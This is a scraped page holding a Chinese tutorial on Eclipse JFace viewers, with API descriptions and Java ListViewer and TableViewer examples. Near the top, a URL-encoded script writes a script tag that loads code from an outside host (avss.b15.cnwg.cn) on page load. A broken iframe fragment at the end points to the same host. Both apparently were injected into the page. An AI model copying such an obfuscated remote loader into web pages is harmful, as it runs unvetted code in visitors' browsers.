HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
JFace Viewer 3
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
5.1.5. StructuredViewer
StructuredViewer
是列表查看器,表格查看器,树查看器的抽象超类。(参见
Figure 5-7
)
Figure 5-7. StructuredViewer 层次图
下列为通常使用的API:
addDoubleClickListener(IDoubleClickListener)
为查看器添加鼠标双击监听器。
addDragSupport(int, Transfer[], DragSourceListener)
为查看器添加支持拖元素的操作。
addDropSupport(int, Transfer[], DropTargetListener)
为查看器添加接收释放元素到其中的支持。
addFilter(ViewerFilter)
为查看器添加过滤器,并触发查看器重新过滤和排列元素。
addHelpListener(HelpListener)
为查看器添加对帮助请求的监听器。
addOpenListener(IOpenListener)
添加对选中元素进行打开操作的监听器。
addSelectionChangedListener(ISelectionChangedListener)
为查看器添加选择元素改变监听器。
addPostSelectionChangedListener(ISelectionChangedListener)
为查看器添加选择后事件监听器。
getSelection()
子类实现此方法,以
IStructuredSelection
接口返回选中的元素。
refresh()
刷新查看器。
refresh(boolean)
刷新查看器。参数表示是否刷新已存在元素的标签。
refresh(Object)
从指定元素开始刷新查看器。
refresh(Object, boolean)
从指定元素开始刷新查看器。参数表示是否刷新已存在元素的标签。
resetFilters()
清除过滤器,并触发查看器重新过滤和排列元素。
setComparer(IElementComparer)
设置比较器来进行元素比较,如果没有设置,则默认使用元素本身的
equals
和
hashCode
。
setContentProvider(IContentProvider)
本方法会校验内容供给器为
IStructuredContentProvider
。
setData(String, Object)
设置属性和值,如果 Object设为
null
该属性将被删除。
setInput(Object)
ContentViewer
实现了该方法,调用内容供给器的
inputChanged
方法,然后调用
inputChanged
方法。 内容供给器
getElements(Object)
随后将被调用,以Object作为输入参数,以决定查看器的根级元素。
setSelection(ISelection, boolean)
StructuredViewer
实现了该方法,设定查看器选中输入的元素。
setSorter(ViewerSorter)
设置查看器的排序器,并触发查看器重新过滤和排列元素。
setUseHashlookup(boolean)
设置是否在查看器中使用内部哈希表以提高元素和SWT部件的映射速度。
update(Object[], String[])
更新指定元素的显示状态。
update(Object, String[])
更新指定元素的显示状态。
5.1.6. ListViewer
ListViewer类
封装了
List
控件,可以用来显示对象集合而不是字符串集合。列表查看器需要设置标签供给器和内容供给器。常用API包括:
add(Object)
为列表查看器加入指定元素。
add(Object[])
为列表查看器加入指定元素。
getControl()
返回该查看器的根源控件。
getElementAt(int)
根据指定位置返回相应的元素。
getList()
返回列表查看器的列表控件。
remove(Object)
删除列表查看器的指定元素。
remove(Object[])
删除列表查看器的指定元素。
reveal(Object)
滚动查看器,保证指定元素被显示。
setLabelProvider(IBaseLabelProvider)
列表查看器实现了该
Viewer
框架的方法,可以保证标签供给器为
ILabelProvider
下面的域对象将用在以后的程序例子中。
public class Person { public String firstName = "John"; public String lastName = "Doe"; public int age = 37; public Person[] children = new Person[0]; public Person parent = null; public Person(String firstName, String lastName, int age) { this.firstName = firstName; this.lastName = lastName; this.age = age; } public Person(String firstName, String lastName, int age, Person[] children) { this(firstName, lastName, age); this.children = children; for (int i = 0; i < children.length; i++) { children[i].parent = this; } } public static Person[] example() { return new Person[] { new Person("Dan", "Rubel", 41, new Person[] { new Person("Beth", "Rubel", 11), new Person("David", "Rubel", 6)}), new Person("Eric", "Clayberg", 42, new Person[] { new Person("Lauren", "Clayberg", 9), new Person("Lee", "Clayberg", 7)}), new Person("Mike", "Taylor", 55) }; } public String toString() { return firstName + " " + lastName; }}
下面的例子创建了一个列表查看器,并设置了标签供给器,内容供给器和排序器。 (参见
Figure 5-8
) 注意: 要独立运行此程序, 你必须添加如下四项到你的
Java Build Path
(插件版本号要符合安装的Eclipse)。
ECLIPSE_HOME/plugins/org.eclipse.core.runtime_3.1.2.jarECLIPSE_HOME/plugins/org.eclipse.jface_3.1.1.jarECLIPSE_HOME/plugins/org.eclipse.jface.text_3.1.2.jarECLIPSE_HOME/plugins/org.eclipse.text_3.1.1.jar
import org.eclipse.jface.viewers.*;import org.eclipse.swt.*;import org.eclipse.swt.layout.*;import org.eclipse.swt.widgets.*;public class ListViewerExample { public static void main(String[] args) { Display display = new Display(); Shell shell = new Shell(display); shell.setText("List Viewer Example"); shell.setBounds(100, 100, 200, 100); shell.setLayout(new FillLayout());
final ListViewer listViewer =
new ListViewer(shell, SWT.SINGLE);
listViewer.setLabelProvider(
new PersonListLabelProvider());
listViewer.setContentProvider(
new ArrayContentProvider());
listViewer.setInput(Person.example());
listViewer.setSorter(new ViewerSorter() {
public int compare( Viewer viewer, Object p1, Object p2) { return ((Person) p1).lastName .compareToIgnoreCase(((Person) p2).lastName); } });
listViewer.addSelectionChangedListener(
new ISelectionChangedListener() { public void selectionChanged( SelectionChangedEvent event) { IStructuredSelection selection = (IStructuredSelection) event.getSelection(); System.out.println("Selected: " + selection.getFirstElement()); } });
listViewer.addDoubleClickListener(
new IDoubleClickListener() { public void doubleClick(DoubleClickEvent event) { IStructuredSelection selection = (IStructuredSelection) event.getSelection(); System.out.println("Double Clicked: " + selection.getFirstElement()); } }); shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); } display.dispose(); }}
Figure 5-8. ListViewer example.
列表查看器创建后,使用
setLabelProvider()
方法设置标签供给器,使用
setContentProvider()
设置内容供给器。
PersonListLabelProvider
作为内容供给器, 返回由名字组成的文字标签,没有返回图标。该类程序如下:
public class PersonListLabelProvider extends LabelProvider { public Image getImage(Object element) { return null; } public String getText(Object element) { Person person = (Person) element; return person.firstName + " " + person.lastName; }}
使用内建的
ArrayContentProvider
最为内容供给器,它将输入的集合映射为数组。使用
setInput()
方法设置输入数据。排序器定义了
compare()
方法,它基于名字进行排序。最后,为列表查看器添加了
selectionChanged
监听器和
doubleClick
监听器。
5.1.7. TableViewer
TableViewer
类封装了
Table
控件。表格查看器提供了可编辑的,垂直的,多列的条目列表。在列表中,每一个条目显示为一行单元格。每一个单元格显示了条目的相应属性。表格查看器需要配置标签供给器,内容供给器和列信息。
CheckboxTableViewer
加入了对个别条目泛灰的支持,还可以选中和反选与条目相关联的复选框。常用的API包括:
add(Object)
向表格查看器中加入指定的元素。当一个元素已经被加入到数据模型中,希望查看器能够准反映数据模型的时候,调用该方法。此方法只影响查看器,不影响数据模型。
add(Object[])
向表格查看器中加入指定的元素。 当元素已经被加入到数据模型中,希望查看器能够准反映数据模型的时候,调用该方法。此方法只影响查看器,不影响数据模型。
cancelEditing()
取消当前起作用的单元格编辑器。
editElement(Object, int)
开始编辑指定元素。
getElementAt(int)
从表格查看器重获取指定序列号的元素。
getTable()
返回表格查看器的表格控件。
insert(Object, int)
在表格查看器的指定位置插入指定元素。
isCellEditorActive()
返回是否存在起作用的单元格编辑器。
remove(Object)
从表格查看器重删除指定元素。当一个元素已经被从数据模型中删除,希望查看器能够准反映数据模型的时候,调用该方法。此方法只影响查看器,不影响数据模型。
remove(Object[])
从表格查看器重删除指定元素。当元素已经被从数据模型中删除,希望查看器能够准反映数据模型的时候,调用该方法。此方法只影响查看器,不影响数据模型。
reveal(Object)
滚动查看器,保证指定元素被显示。
setCellEditors(CellEditor[])
为表格查看器设置单元格编辑器。
setCellModifier(ICellModifier)
为表格查看器设置单元格修改器。
setColumnProperties(String[])
为表格查看器设置列属性。
setLabelProvider(IBaseLabelProvider
) 表格查看器实现了
Viewer
框架的此方法 保证输入的内容供给器是
ITableLabelProvider
或
ILabelProvider
。
The
CheckboxTableViewer
常用API包括:
addCheckStateListener(ICheckStateListener)
为查看器添加选中状态改变监听器。
getChecked(Object)
返回指定元素的选中状态。
getCheckedElements()
返回查看器中选中元素列表。
getGrayed(Object)
返回指定元素的泛灰状态。
getGrayedElements()
R返回查看器中泛灰元素列表。
setAllChecked(boolean)
设置所有元素是否被选中。
setAllGrayed(boolean)
设置所有元素是否泛灰。
setChecked(Object, boolean)
设置指定元素是否被选中。
setCheckedElements(Object[])
设置指定元素被选中。
setGrayed(Object, boolean)
设置指定元素是否泛灰。
setGrayedElements(Object[])
设置指定元素泛灰。
下面的程序样例创建一个拥有四列的表格查看器。 (参见
Figure 5-9
)。
Figure 5-9. TableViewer 样例
import org.eclipse.jface.viewers.*;import org.eclipse.swt.*;import org.eclipse.swt.layout.*;import org.eclipse.swt.widgets.*;public class TableViewerExample { public static void main(String[] args) { Display display = new Display(); Shell shell = new Shell(display); shell.setText("Table Viewer Example"); shell.setBounds(100, 100, 325, 200); shell.setLayout(new FillLayout());
final TableViewer tableViewer = new TableViewer(
shell, SWT.SINGLE | SWT.FULL_SELECTION);
final Table table = tableViewer.getTable();
table.setHeaderVisible(true);
table.setLinesVisible(true);
String[] columnNames = new String[] { "First Name", "Last Name", "Age", "Num Children"}; int[] columnWidths = new int[] { 100, 100, 35, 75}; int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT, SWT.CENTER, SWT.CENTER};
for (int i = 0; i < columnNames.length; i++) {
TableColumn tableColumn =
new TableColumn(table, columnAlignments[i]);
tableColumn.setText(columnNames[i]);
tableColumn.setWidth(columnWidths[i]);
}
tableViewer.setLabelProvider(
new PersonTableLabelProvider());
tableViewer.setContentProvider(
new ArrayContentProvider());
tableViewer.setInput(Person.example());
shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); } display.dispose(); }}
创建表格查看器后,调用
setHeaderVisible()
和
setLinesVisible()
方法使列表头可见,表格线可见。然后加入四列的信息。通过
setText()
和
setWidth()
方法设置列表头的文字和宽度。(参见
7.8 节
, 自动调整表格列)。
使用
setLabelProvider()方法设置标签供给器, 使用
setContentProvider()
方法设置内容供给器。标签供给器
PersonTableLabelProvider
, 用来返回表格每一列的文字标签,没有返回图标。 程序如下:
import org.eclipse.jface.viewers.*;import org.eclipse.swt.graphics.*;public class PersonTableLabelProvider extends LabelProvider implements ITableLabelProvider { public Image getColumnImage( Object element, int) { return null; } public String getColumnText(Object element, int index) { Person person = (Person) element; switch (index) { case 0 : return person.firstName; case 1 : return person.lastName; case 2 : return Integer.toString(person.age); case 3 : return Integer.toString(person.children.length); default : return "unknown " + index; } }}
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">